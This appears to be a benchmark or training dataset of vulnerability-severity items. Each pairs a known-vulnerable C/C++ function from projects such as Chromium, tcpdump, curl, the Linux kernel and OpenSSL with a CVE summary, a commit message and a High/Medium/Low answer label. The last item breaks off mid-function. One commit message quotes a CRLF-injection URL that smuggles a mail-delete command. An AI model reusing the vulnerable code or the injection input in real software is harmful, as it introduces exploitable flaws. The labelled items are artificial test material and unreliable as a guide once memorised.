Code: void DevToolsAgentHost::DetachAllClients() { if (!g_devtools_instances.IsCreated()) return; DevToolsMap copy = g_devtools_instances.Get(); for (DevToolsMap::iterator it(copy.begin()); it != copy.end(); ++it) { DevToolsAgentHostImpl* agent_host = it->second; agent_host->ForceDetachAllClients(); } } Vulnerability Type: Exec Code CWE ID: CWE-20 Summary: Allowing the chrome.debugger API to attach to Web UI pages in DevTools in Google Chrome prior to 67.0.3396.62 allowed an attacker who convinced a user to install a malicious extension to execute arbitrary code via a crafted Chrome Extension. Commit Message: [DevTools] Do not allow chrome.debugger to attach to web ui pages If the page navigates to web ui, we force detach the debugger extension. [email protected] Bug: 798222 Change-Id: Idb46c2f59e839388397a8dfa6ce2e2a897698df3 Reviewed-on: https://chromium-review.googlesource.com/935961 Commit-Queue: Dmitry Gozman <[email protected]> Reviewed-by: Devlin <[email protected]> Reviewed-by: Pavel Feldman <[email protected]> Reviewed-by: Nasko Oskov <[email protected]> Cr-Commit-Position: refs/heads/master@{#540916}
High
173,243
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void ServiceWorkerDevToolsAgentHost::WorkerReadyForInspection( blink::mojom::DevToolsAgentAssociatedPtrInfo devtools_agent_ptr_info) { DCHECK_EQ(WORKER_NOT_READY, state_); state_ = WORKER_READY; agent_ptr_.Bind(std::move(devtools_agent_ptr_info)); if (!sessions().empty()) { BrowserThread::PostTask(BrowserThread::IO, FROM_HERE, base::BindOnce(&SetDevToolsAttachedOnIO, context_weak_, version_id_, true)); } RenderProcessHost* host = RenderProcessHost::FromID(worker_process_id_); for (DevToolsSession* session : sessions()) { session->SetRenderer(host, nullptr); session->AttachToAgent(agent_ptr_); } } Vulnerability Type: Exec Code CWE ID: CWE-20 Summary: An object lifetime issue in the developer tools network handler in Google Chrome prior to 66.0.3359.117 allowed a local attacker to execute arbitrary code via a crafted HTML page. Commit Message: DevTools: speculative fix for crash in NetworkHandler::Disable This keeps BrowserContext* and StoragePartition* instead of RenderProcessHost* in an attemp to resolve UAF of RenderProcessHost upon closure of DevTools front-end. Bug: 801117, 783067, 780694 Change-Id: I6c2cca60cc0c29f0949d189cf918769059f80c1b Reviewed-on: https://chromium-review.googlesource.com/876657 Commit-Queue: Andrey Kosyakov <[email protected]> Reviewed-by: Dmitry Gozman <[email protected]> Cr-Commit-Position: refs/heads/master@{#531157}
Medium
172,785
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: rpl_daoack_print(netdissect_options *ndo, const u_char *bp, u_int length) { const struct nd_rpl_daoack *daoack = (const struct nd_rpl_daoack *)bp; const char *dagid_str = "<elided>"; ND_TCHECK2(*daoack, ND_RPL_DAOACK_MIN_LEN); if (length < ND_RPL_DAOACK_MIN_LEN) goto tooshort; bp += ND_RPL_DAOACK_MIN_LEN; length -= ND_RPL_DAOACK_MIN_LEN; if(RPL_DAOACK_D(daoack->rpl_flags)) { ND_TCHECK2(daoack->rpl_dagid, DAGID_LEN); if (length < DAGID_LEN) goto tooshort; dagid_str = ip6addr_string (ndo, daoack->rpl_dagid); bp += DAGID_LEN; length -= DAGID_LEN; } ND_PRINT((ndo, " [dagid:%s,seq:%u,instance:%u,status:%u]", dagid_str, daoack->rpl_daoseq, daoack->rpl_instanceid, daoack->rpl_status)); /* no officially defined options for DAOACK, but print any we find */ if(ndo->ndo_vflag > 1) { const struct rpl_dio_genoption *opt = (const struct rpl_dio_genoption *)bp; rpl_dio_printopt(ndo, opt, length); } return; trunc: ND_PRINT((ndo," [|dao-truncated]")); return; tooshort: ND_PRINT((ndo," [|dao-length too short]")); return; } Vulnerability Type: CWE ID: CWE-125 Summary: The ICMPv6 parser in tcpdump before 4.9.3 has a buffer over-read in print-icmp6.c. Commit Message: (for 4.9.3) CVE-2018-14882/ICMP6 RPL: Add a missing bounds check Moreover: Add and use *_tstr[] strings. Update four tests outputs accordingly. Fix a space. Wang Junjie of 360 ESG Codesafe Team had independently identified this vulnerability in 2018 by means of fuzzing and provided the packet capture file for the test.
High
169,829
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: char *curl_easy_escape(CURL *handle, const char *string, int inlength) { size_t alloc = (inlength?(size_t)inlength:strlen(string))+1; char *ns; char *testing_ptr = NULL; unsigned char in; /* we need to treat the characters unsigned */ size_t newlen = alloc; int strindex=0; size_t length; CURLcode res; ns = malloc(alloc); if(!ns) return NULL; length = alloc-1; while(length--) { in = *string; if(Curl_isunreserved(in)) /* just copy this */ ns[strindex++]=in; else { /* encode it */ newlen += 2; /* the size grows with two, since this'll become a %XX */ if(newlen > alloc) { alloc *= 2; testing_ptr = realloc(ns, alloc); if(!testing_ptr) { free( ns ); return NULL; } else { ns = testing_ptr; } } res = Curl_convert_to_network(handle, &in, 1); if(res) { /* Curl_convert_to_network calls failf if unsuccessful */ free(ns); return NULL; } snprintf(&ns[strindex], 4, "%%%02X", in); strindex+=3; } string++; } ns[strindex]=0; /* terminate it */ return ns; } Vulnerability Type: Sql CWE ID: CWE-89 Summary: curl and libcurl 7.2x before 7.24.0 do not properly consider special characters during extraction of a pathname from a URL, which allows remote attackers to conduct data-injection attacks via a crafted URL, as demonstrated by a CRLF injection attack on the (1) IMAP, (2) POP3, or (3) SMTP protocol. Commit Message: URL sanitize: reject URLs containing bad data Protocols (IMAP, POP3 and SMTP) that use the path part of a URL in a decoded manner now use the new Curl_urldecode() function to reject URLs with embedded control codes (anything that is or decodes to a byte value less than 32). URLs containing such codes could easily otherwise be used to do harm and allow users to do unintended actions with otherwise innocent tools and applications. Like for example using a URL like pop3://pop3.example.com/1%0d%0aDELE%201 when the app wants a URL to get a mail and instead this would delete one. This flaw is considered a security vulnerability: CVE-2012-0036 Security advisory at: http://curl.haxx.se/docs/adv_20120124.html Reported by: Dan Fandrich
High
165,664
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void RemoteFrame::ScheduleNavigation(Document& origin_document, const KURL& url, WebFrameLoadType frame_load_type, UserGestureStatus user_gesture_status) { FrameLoadRequest frame_request(&origin_document, ResourceRequest(url)); frame_request.GetResourceRequest().SetHasUserGesture( user_gesture_status == UserGestureStatus::kActive); frame_request.GetResourceRequest().SetFrameType( IsMainFrame() ? network::mojom::RequestContextFrameType::kTopLevel : network::mojom::RequestContextFrameType::kNested); Navigate(frame_request, frame_load_type); } Vulnerability Type: CWE ID: CWE-732 Summary: Remote frame navigations was incorrectly permitted to local resources in Blink in Google Chrome prior to 71.0.3578.80 allowed an attacker who convinced a user to install a malicious extension to access files on the local file system via a crafted Chrome Extension. Commit Message: Add a check for disallowing remote frame navigations to local resources. Previously, RemoteFrame navigations did not perform any renderer-side checks and relied solely on the browser-side logic to block disallowed navigations via mechanisms like FilterURL. This means that blocked remote frame navigations were silently navigated to about:blank without any console error message. This CL adds a CanDisplay check to the remote navigation path to match an equivalent check done for local frame navigations. This way, the renderer can consistently block disallowed navigations in both cases and output an error message. Bug: 894399 Change-Id: I172f68f77c1676f6ca0172d2a6c78f7edc0e3b7a Reviewed-on: https://chromium-review.googlesource.com/c/1282390 Reviewed-by: Charlie Reis <[email protected]> Reviewed-by: Nate Chapin <[email protected]> Commit-Queue: Alex Moshchuk <[email protected]> Cr-Commit-Position: refs/heads/master@{#601022}
Medium
172,614
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: bool AXNodeObject::isModal() const { if (roleValue() != DialogRole && roleValue() != AlertDialogRole) return false; if (hasAttribute(aria_modalAttr)) { const AtomicString& modal = getAttribute(aria_modalAttr); if (equalIgnoringCase(modal, "true")) return true; if (equalIgnoringCase(modal, "false")) return false; } if (getNode() && isHTMLDialogElement(*getNode())) return toElement(getNode())->isInTopLayer(); return false; } Vulnerability Type: Exec Code CWE ID: CWE-254 Summary: Google Chrome before 44.0.2403.89 does not ensure that the auto-open list omits all dangerous file types, which makes it easier for remote attackers to execute arbitrary code by providing a crafted file and leveraging a user's previous *Always open files of this type* choice, related to download_commands.cc and download_prefs.cc. Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility BUG=627682 Review-Url: https://codereview.chromium.org/2793913007 Cr-Commit-Position: refs/heads/master@{#461858}
Medium
171,916
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void HTMLStyleElement::DidNotifySubtreeInsertionsToDocument() { if (StyleElement::ProcessStyleSheet(GetDocument(), *this) == StyleElement::kProcessingFatalError) NotifyLoadedSheetAndAllCriticalSubresources( kErrorOccurredLoadingSubresource); } Vulnerability Type: CWE ID: CWE-416 Summary: A use after free in Blink in Google Chrome prior to 69.0.3497.81 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. Commit Message: Do not crash while reentrantly appending to style element. When a node is inserted into a container, it is notified via ::InsertedInto. However, a node may request a second notification via DidNotifySubtreeInsertionsToDocument, which occurs after all the children have been notified as well. *StyleElement is currently using this second notification. This causes a problem, because *ScriptElement is using the same mechanism, which in turn means that scripts can execute before the state of *StyleElements are properly updated. This patch avoids ::DidNotifySubtreeInsertionsToDocument, and instead processes the stylesheet in ::InsertedInto. The original reason for using ::DidNotifySubtreeInsertionsToDocument in the first place appears to be invalid now, as the test case is still passing. [email protected], [email protected] Bug: 853709, 847570 Cq-Include-Trybots: luci.chromium.try:linux_layout_tests_slimming_paint_v2;master.tryserver.blink:linux_trusty_blink_rel Change-Id: Ic0b5fa611044c78c5745cf26870a747f88920a14 Reviewed-on: https://chromium-review.googlesource.com/1104347 Commit-Queue: Anders Ruud <[email protected]> Reviewed-by: Rune Lillesveen <[email protected]> Cr-Commit-Position: refs/heads/master@{#568368}
Medium
173,171
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: sctp_disposition_t sctp_sf_do_5_2_4_dupcook(struct net *net, const struct sctp_endpoint *ep, const struct sctp_association *asoc, const sctp_subtype_t type, void *arg, sctp_cmd_seq_t *commands) { sctp_disposition_t retval; struct sctp_chunk *chunk = arg; struct sctp_association *new_asoc; int error = 0; char action; struct sctp_chunk *err_chk_p; /* Make sure that the chunk has a valid length from the protocol * perspective. In this case check to make sure we have at least * enough for the chunk header. Cookie length verification is * done later. */ if (!sctp_chunk_length_valid(chunk, sizeof(sctp_chunkhdr_t))) return sctp_sf_violation_chunklen(net, ep, asoc, type, arg, commands); /* "Decode" the chunk. We have no optional parameters so we * are in good shape. */ chunk->subh.cookie_hdr = (struct sctp_signed_cookie *)chunk->skb->data; if (!pskb_pull(chunk->skb, ntohs(chunk->chunk_hdr->length) - sizeof(sctp_chunkhdr_t))) goto nomem; /* In RFC 2960 5.2.4 3, if both Verification Tags in the State Cookie * of a duplicate COOKIE ECHO match the Verification Tags of the * current association, consider the State Cookie valid even if * the lifespan is exceeded. */ new_asoc = sctp_unpack_cookie(ep, asoc, chunk, GFP_ATOMIC, &error, &err_chk_p); /* FIXME: * If the re-build failed, what is the proper error path * from here? * * [We should abort the association. --piggy] */ if (!new_asoc) { /* FIXME: Several errors are possible. A bad cookie should * be silently discarded, but think about logging it too. */ switch (error) { case -SCTP_IERROR_NOMEM: goto nomem; case -SCTP_IERROR_STALE_COOKIE: sctp_send_stale_cookie_err(net, ep, asoc, chunk, commands, err_chk_p); return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands); case -SCTP_IERROR_BAD_SIG: default: return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands); } } /* Compare the tie_tag in cookie with the verification tag of * current association. */ action = sctp_tietags_compare(new_asoc, asoc); switch (action) { case 'A': /* Association restart. */ retval = sctp_sf_do_dupcook_a(net, ep, asoc, chunk, commands, new_asoc); break; case 'B': /* Collision case B. */ retval = sctp_sf_do_dupcook_b(net, ep, asoc, chunk, commands, new_asoc); break; case 'C': /* Collision case C. */ retval = sctp_sf_do_dupcook_c(net, ep, asoc, chunk, commands, new_asoc); break; case 'D': /* Collision case D. */ retval = sctp_sf_do_dupcook_d(net, ep, asoc, chunk, commands, new_asoc); break; default: /* Discard packet for all others. */ retval = sctp_sf_pdiscard(net, ep, asoc, type, arg, commands); break; } /* Delete the tempory new association. */ sctp_add_cmd_sf(commands, SCTP_CMD_NEW_ASOC, SCTP_ASOC(new_asoc)); sctp_add_cmd_sf(commands, SCTP_CMD_DELETE_TCB, SCTP_NULL()); /* Restore association pointer to provide SCTP command interpeter * with a valid context in case it needs to manipulate * the queues */ sctp_add_cmd_sf(commands, SCTP_CMD_SET_ASOC, SCTP_ASOC((struct sctp_association *)asoc)); return retval; nomem: return SCTP_DISPOSITION_NOMEM; } Vulnerability Type: DoS CWE ID: Summary: The sctp_sf_do_5_2_4_dupcook function in net/sctp/sm_statefuns.c in the SCTP implementation in the Linux kernel before 3.8.5 does not properly handle associations during the processing of a duplicate COOKIE ECHO chunk, which allows remote attackers to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact via crafted SCTP traffic. Commit Message: sctp: Use correct sideffect command in duplicate cookie handling When SCTP is done processing a duplicate cookie chunk, it tries to delete a newly created association. For that, it has to set the right association for the side-effect processing to work. However, when it uses the SCTP_CMD_NEW_ASOC command, that performs more work then really needed (like hashing the associationa and assigning it an id) and there is no point to do that only to delete the association as a next step. In fact, it also creates an impossible condition where an association may be found by the getsockopt() call, and that association is empty. This causes a crash in some sctp getsockopts. The solution is rather simple. We simply use SCTP_CMD_SET_ASOC command that doesn't have all the overhead and does exactly what we need. Reported-by: Karl Heiss <[email protected]> Tested-by: Karl Heiss <[email protected]> CC: Neil Horman <[email protected]> Signed-off-by: Vlad Yasevich <[email protected]> Acked-by: Neil Horman <[email protected]> Signed-off-by: David S. Miller <[email protected]>
Medium
166,079
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void LoginHtmlDialog::Observe(NotificationType type, const NotificationSource& source, const NotificationDetails& details) { DCHECK(type.value == NotificationType::LOAD_COMPLETED_MAIN_FRAME); if (bubble_frame_view_) bubble_frame_view_->StopThrobber(); } Vulnerability Type: DoS CWE ID: CWE-399 Summary: Use-after-free vulnerability in Google Chrome before 12.0.742.112 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to text selection. Commit Message: cros: The next 100 clang plugin errors. BUG=none TEST=none TBR=dpolukhin Review URL: http://codereview.chromium.org/7022008 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@85418 0039d316-1c4b-4281-b951-d872f2087c98
High
170,616
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: vsock_stream_recvmsg(struct kiocb *kiocb, struct socket *sock, struct msghdr *msg, size_t len, int flags) { struct sock *sk; struct vsock_sock *vsk; int err; size_t target; ssize_t copied; long timeout; struct vsock_transport_recv_notify_data recv_data; DEFINE_WAIT(wait); sk = sock->sk; vsk = vsock_sk(sk); err = 0; msg->msg_namelen = 0; lock_sock(sk); if (sk->sk_state != SS_CONNECTED) { /* Recvmsg is supposed to return 0 if a peer performs an * orderly shutdown. Differentiate between that case and when a * peer has not connected or a local shutdown occured with the * SOCK_DONE flag. */ if (sock_flag(sk, SOCK_DONE)) err = 0; else err = -ENOTCONN; goto out; } if (flags & MSG_OOB) { err = -EOPNOTSUPP; goto out; } /* We don't check peer_shutdown flag here since peer may actually shut * down, but there can be data in the queue that a local socket can * receive. */ if (sk->sk_shutdown & RCV_SHUTDOWN) { err = 0; goto out; } /* It is valid on Linux to pass in a zero-length receive buffer. This * is not an error. We may as well bail out now. */ if (!len) { err = 0; goto out; } /* We must not copy less than target bytes into the user's buffer * before returning successfully, so we wait for the consume queue to * have that much data to consume before dequeueing. Note that this * makes it impossible to handle cases where target is greater than the * queue size. */ target = sock_rcvlowat(sk, flags & MSG_WAITALL, len); if (target >= transport->stream_rcvhiwat(vsk)) { err = -ENOMEM; goto out; } timeout = sock_rcvtimeo(sk, flags & MSG_DONTWAIT); copied = 0; err = transport->notify_recv_init(vsk, target, &recv_data); if (err < 0) goto out; prepare_to_wait(sk_sleep(sk), &wait, TASK_INTERRUPTIBLE); while (1) { s64 ready = vsock_stream_has_data(vsk); if (ready < 0) { /* Invalid queue pair content. XXX This should be * changed to a connection reset in a later change. */ err = -ENOMEM; goto out_wait; } else if (ready > 0) { ssize_t read; err = transport->notify_recv_pre_dequeue( vsk, target, &recv_data); if (err < 0) break; read = transport->stream_dequeue( vsk, msg->msg_iov, len - copied, flags); if (read < 0) { err = -ENOMEM; break; } copied += read; err = transport->notify_recv_post_dequeue( vsk, target, read, !(flags & MSG_PEEK), &recv_data); if (err < 0) goto out_wait; if (read >= target || flags & MSG_PEEK) break; target -= read; } else { if (sk->sk_err != 0 || (sk->sk_shutdown & RCV_SHUTDOWN) || (vsk->peer_shutdown & SEND_SHUTDOWN)) { break; } /* Don't wait for non-blocking sockets. */ if (timeout == 0) { err = -EAGAIN; break; } err = transport->notify_recv_pre_block( vsk, target, &recv_data); if (err < 0) break; release_sock(sk); timeout = schedule_timeout(timeout); lock_sock(sk); if (signal_pending(current)) { err = sock_intr_errno(timeout); break; } else if (timeout == 0) { err = -EAGAIN; break; } prepare_to_wait(sk_sleep(sk), &wait, TASK_INTERRUPTIBLE); } } if (sk->sk_err) err = -sk->sk_err; else if (sk->sk_shutdown & RCV_SHUTDOWN) err = 0; if (copied > 0) { /* We only do these additional bookkeeping/notification steps * if we actually copied something out of the queue pair * instead of just peeking ahead. */ if (!(flags & MSG_PEEK)) { /* If the other side has shutdown for sending and there * is nothing more to read, then modify the socket * state. */ if (vsk->peer_shutdown & SEND_SHUTDOWN) { if (vsock_stream_has_data(vsk) <= 0) { sk->sk_state = SS_UNCONNECTED; sock_set_flag(sk, SOCK_DONE); sk->sk_state_change(sk); } } } err = copied; } out_wait: finish_wait(sk_sleep(sk), &wait); out: release_sock(sk); return err; } Vulnerability Type: +Info CWE ID: CWE-20 Summary: The x25_recvmsg function in net/x25/af_x25.c in the Linux kernel before 3.12.4 updates a certain length value without ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call. Commit Message: net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <[email protected]> Suggested-by: Eric Dumazet <[email protected]> Signed-off-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: David S. Miller <[email protected]>
Medium
166,522
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void bn_sqr_comba8(BN_ULONG *r, const BN_ULONG *a) { BN_ULONG t1,t2; BN_ULONG c1,c2,c3; c1=0; c2=0; c3=0; sqr_add_c(a,0,c1,c2,c3); r[0]=c1; c1=0; sqr_add_c2(a,1,0,c2,c3,c1); r[1]=c2; c2=0; sqr_add_c(a,1,c3,c1,c2); sqr_add_c2(a,2,0,c3,c1,c2); r[2]=c3; c3=0; sqr_add_c2(a,3,0,c1,c2,c3); sqr_add_c2(a,2,1,c1,c2,c3); r[3]=c1; c1=0; sqr_add_c(a,2,c2,c3,c1); sqr_add_c2(a,3,1,c2,c3,c1); sqr_add_c2(a,4,0,c2,c3,c1); r[4]=c2; c2=0; sqr_add_c2(a,5,0,c3,c1,c2); sqr_add_c2(a,4,1,c3,c1,c2); sqr_add_c2(a,3,2,c3,c1,c2); r[5]=c3; c3=0; sqr_add_c(a,3,c1,c2,c3); sqr_add_c2(a,4,2,c1,c2,c3); sqr_add_c2(a,5,1,c1,c2,c3); sqr_add_c2(a,6,0,c1,c2,c3); r[6]=c1; c1=0; sqr_add_c2(a,7,0,c2,c3,c1); sqr_add_c2(a,6,1,c2,c3,c1); sqr_add_c2(a,5,2,c2,c3,c1); sqr_add_c2(a,4,3,c2,c3,c1); r[7]=c2; c2=0; sqr_add_c(a,4,c3,c1,c2); sqr_add_c2(a,5,3,c3,c1,c2); sqr_add_c2(a,6,2,c3,c1,c2); sqr_add_c2(a,7,1,c3,c1,c2); r[8]=c3; c3=0; sqr_add_c2(a,7,2,c1,c2,c3); sqr_add_c2(a,6,3,c1,c2,c3); sqr_add_c2(a,5,4,c1,c2,c3); r[9]=c1; c1=0; sqr_add_c(a,5,c2,c3,c1); sqr_add_c2(a,6,4,c2,c3,c1); sqr_add_c2(a,7,3,c2,c3,c1); r[10]=c2; c2=0; sqr_add_c2(a,7,4,c3,c1,c2); sqr_add_c2(a,6,5,c3,c1,c2); r[11]=c3; c3=0; sqr_add_c(a,6,c1,c2,c3); sqr_add_c2(a,7,5,c1,c2,c3); r[12]=c1; c1=0; sqr_add_c2(a,7,6,c2,c3,c1); r[13]=c2; c2=0; sqr_add_c(a,7,c3,c1,c2); r[14]=c3; r[15]=c1; } Vulnerability Type: CWE ID: CWE-310 Summary: The BN_sqr implementation in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k does not properly calculate the square of a BIGNUM value, which might make it easier for remote attackers to defeat cryptographic protection mechanisms via unspecified vectors, related to crypto/bn/asm/mips.pl, crypto/bn/asm/x86_64-gcc.c, and crypto/bn/bn_asm.c. Commit Message: Fix for CVE-2014-3570 (with minor bn_asm.c revamp). Reviewed-by: Emilia Kasper <[email protected]>
Medium
166,831
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: views::View* CardUnmaskPromptViews::CreateFootnoteView() { if (!controller_->CanStoreLocally()) return nullptr; storage_row_ = new FadeOutView(); views::BoxLayout* storage_row_layout = new views::BoxLayout( views::BoxLayout::kHorizontal, kEdgePadding, kEdgePadding, 0); storage_row_->SetLayoutManager(storage_row_layout); storage_row_->SetBorder( views::Border::CreateSolidSidedBorder(1, 0, 0, 0, kSubtleBorderColor)); storage_row_->set_background( views::Background::CreateSolidBackground(kShadingColor)); storage_checkbox_ = new views::Checkbox(l10n_util::GetStringUTF16( IDS_AUTOFILL_CARD_UNMASK_PROMPT_STORAGE_CHECKBOX)); storage_checkbox_->SetChecked(controller_->GetStoreLocallyStartState()); storage_row_->AddChildView(storage_checkbox_); storage_row_layout->SetFlexForView(storage_checkbox_, 1); storage_row_->AddChildView(new TooltipIcon(l10n_util::GetStringUTF16( IDS_AUTOFILL_CARD_UNMASK_PROMPT_STORAGE_TOOLTIP))); return storage_row_; } Vulnerability Type: CWE ID: CWE-20 Summary: The FrameLoader::notifyIfInitialDocumentAccessed function in core/loader/FrameLoader.cpp in Blink, as used in Google Chrome before 31.0.1650.63, makes an incorrect check for an empty document during presentation of a modal dialog, which allows remote attackers to spoof the address bar via vectors involving the document.write method. Commit Message: Clear out some minor TODOs. BUG=none Review URL: https://codereview.chromium.org/1047063002 Cr-Commit-Position: refs/heads/master@{#322959}
Medium
171,141
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int get_default_root(pool *p, int allow_symlinks, char **root) { config_rec *c = NULL; char *dir = NULL; int res; c = find_config(main_server->conf, CONF_PARAM, "DefaultRoot", FALSE); while (c) { pr_signals_handle(); /* Check the groups acl */ if (c->argc < 2) { dir = c->argv[0]; break; } res = pr_expr_eval_group_and(((char **) c->argv)+1); if (res) { dir = c->argv[0]; break; } c = find_config_next(c, c->next, CONF_PARAM, "DefaultRoot", FALSE); } if (dir) { char *new_dir; /* Check for any expandable variables. */ new_dir = path_subst_uservar(p, &dir); if (new_dir != NULL) { dir = new_dir; } if (strncmp(dir, "/", 2) == 0) { dir = NULL; } else { char *realdir; int xerrno = 0; if (allow_symlinks == FALSE) { char *path, target_path[PR_TUNABLE_PATH_MAX + 1]; struct stat st; size_t pathlen; /* First, deal with any possible interpolation. dir_realpath() will * do this for us, but dir_realpath() ALSO automatically follows * symlinks, which is what we do NOT want to do here. */ path = dir; if (*path != '/') { if (*path == '~') { if (pr_fs_interpolate(dir, target_path, sizeof(target_path)-1) < 0) { return -1; } path = target_path; } } /* Note: lstat(2) is sensitive to the presence of a trailing slash on * the path, particularly in the case of a symlink to a directory. * Thus to get the correct test, we need to remove any trailing slash * that might be present. Subtle. */ pathlen = strlen(path); if (pathlen > 1 && path[pathlen-1] == '/') { path[pathlen-1] = '\0'; } pr_fs_clear_cache(); res = pr_fsio_lstat(path, &st); if (res < 0) { xerrno = errno; pr_log_pri(PR_LOG_WARNING, "error: unable to check %s: %s", path, strerror(xerrno)); errno = xerrno; return -1; } if (S_ISLNK(st.st_mode)) { pr_log_pri(PR_LOG_WARNING, "error: DefaultRoot %s is a symlink (denied by AllowChrootSymlinks " "config)", path); errno = EPERM; return -1; } } /* We need to be the final user here so that if the user has their home * directory with a mode the user proftpd is running (i.e. the User * directive) as can not traverse down, we can still have the default * root. */ PRIVS_USER realdir = dir_realpath(p, dir); xerrno = errno; PRIVS_RELINQUISH if (realdir) { dir = realdir; } else { /* Try to provide a more informative message. */ char interp_dir[PR_TUNABLE_PATH_MAX + 1]; memset(interp_dir, '\0', sizeof(interp_dir)); (void) pr_fs_interpolate(dir, interp_dir, sizeof(interp_dir)-1); pr_log_pri(PR_LOG_NOTICE, "notice: unable to use DefaultRoot '%s' [resolved to '%s']: %s", dir, interp_dir, strerror(xerrno)); errno = xerrno; } } } *root = dir; return 0; } Vulnerability Type: Bypass CWE ID: CWE-59 Summary: ProFTPD before 1.3.5e and 1.3.6 before 1.3.6rc5 controls whether the home directory of a user could contain a symbolic link through the AllowChrootSymlinks configuration option, but checks only the last path component when enforcing AllowChrootSymlinks. Attackers with local access could bypass the AllowChrootSymlinks control by replacing a path component (other than the last one) with a symbolic link. The threat model includes an attacker who is not granted full filesystem access by a hosting provider, but can reconfigure the home directory of an FTP user. Commit Message: Backporting recursive handling of DefaultRoot path, when AllowChrootSymlinks is off, to 1.3.5 branch.
Low
170,070
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static Image *ReadSGIImage(const ImageInfo *image_info,ExceptionInfo *exception) { Image *image; MagickBooleanType status; MagickSizeType number_pixels; MemoryInfo *pixel_info; register Quantum *q; register ssize_t i, x; register unsigned char *p; SGIInfo iris_info; size_t bytes_per_pixel, quantum; ssize_t count, y, z; unsigned char *pixels; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickCoreSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickCoreSignature); image=AcquireImage(image_info,exception); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read SGI raster header. */ iris_info.magic=ReadBlobMSBShort(image); do { /* Verify SGI identifier. */ if (iris_info.magic != 0x01DA) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); iris_info.storage=(unsigned char) ReadBlobByte(image); switch (iris_info.storage) { case 0x00: image->compression=NoCompression; break; case 0x01: image->compression=RLECompression; break; default: ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } iris_info.bytes_per_pixel=(unsigned char) ReadBlobByte(image); if ((iris_info.bytes_per_pixel == 0) || (iris_info.bytes_per_pixel > 2)) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); 